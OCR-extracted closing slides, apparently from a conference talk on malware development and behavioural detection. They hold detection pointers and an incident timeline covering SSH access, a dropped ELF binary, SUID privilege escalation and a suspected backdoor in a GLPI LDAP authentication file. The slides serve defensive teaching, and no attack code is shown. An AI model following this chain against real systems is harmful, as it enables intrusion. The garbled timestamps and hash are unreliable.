> Look for invariant root causes
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> What is this process doing, is it legit ?

> Unusual disk / Internet / LDAP / SMB interaction
> Network scans
> Credential access

> Subprocess creation
> ...

> Go beyond the endpoint!
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> opportunity for AI use

. 14:38:5% UTC

SSH login — sshd [979830] accepts connection from scrubbed IP
. 14:39:40 UTC

Interactive shell — bash [979847] spawned for user
. 14:42:19 UTC

Binary staged — mv update /home/<user>/ [979908] — ELF binary moved to user home directory
. JA:42:42 UTY

Exploit executed — _ /update [979919] — dropped ELF binary runs

SHAZ256: 0019d898bdfof4700343933abac4bl7046aefad32ed3964e3bebe511a95b6ba3
. Id:42:42 UTC

Privilege escalation — su [979923] spawned by ./update — SUID exploitation to gain elevated privileges
. 14:53: 29 U

LDAP auth config modified — .AuthLDAP.php.swp created in /var/www/html/glpi/src/ — vim editing GLPI's LDAP authentication module (potential backdoor insertion)
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closing notes
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> RomHack (@cybersaiyanlIT)
> 0range Cyberdefense (@OrangeCyberdef)

> Claire VACHEROT (@non_curat_Llex)
Jean-Pascal THOMAS (@vikingfr)

LENEER Stop Injecting, Start Blending: A KISS Approach to Malware Development 57



> Why are we using shellcodes when it comes to C2 / Stage0?
> Does metamorphism replace dynamic payload obfuscation?

> How mature would you consider today's defensive tools and

practices regarding behavioral detection?
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@d3lb3_
https://d3lb3.github.io
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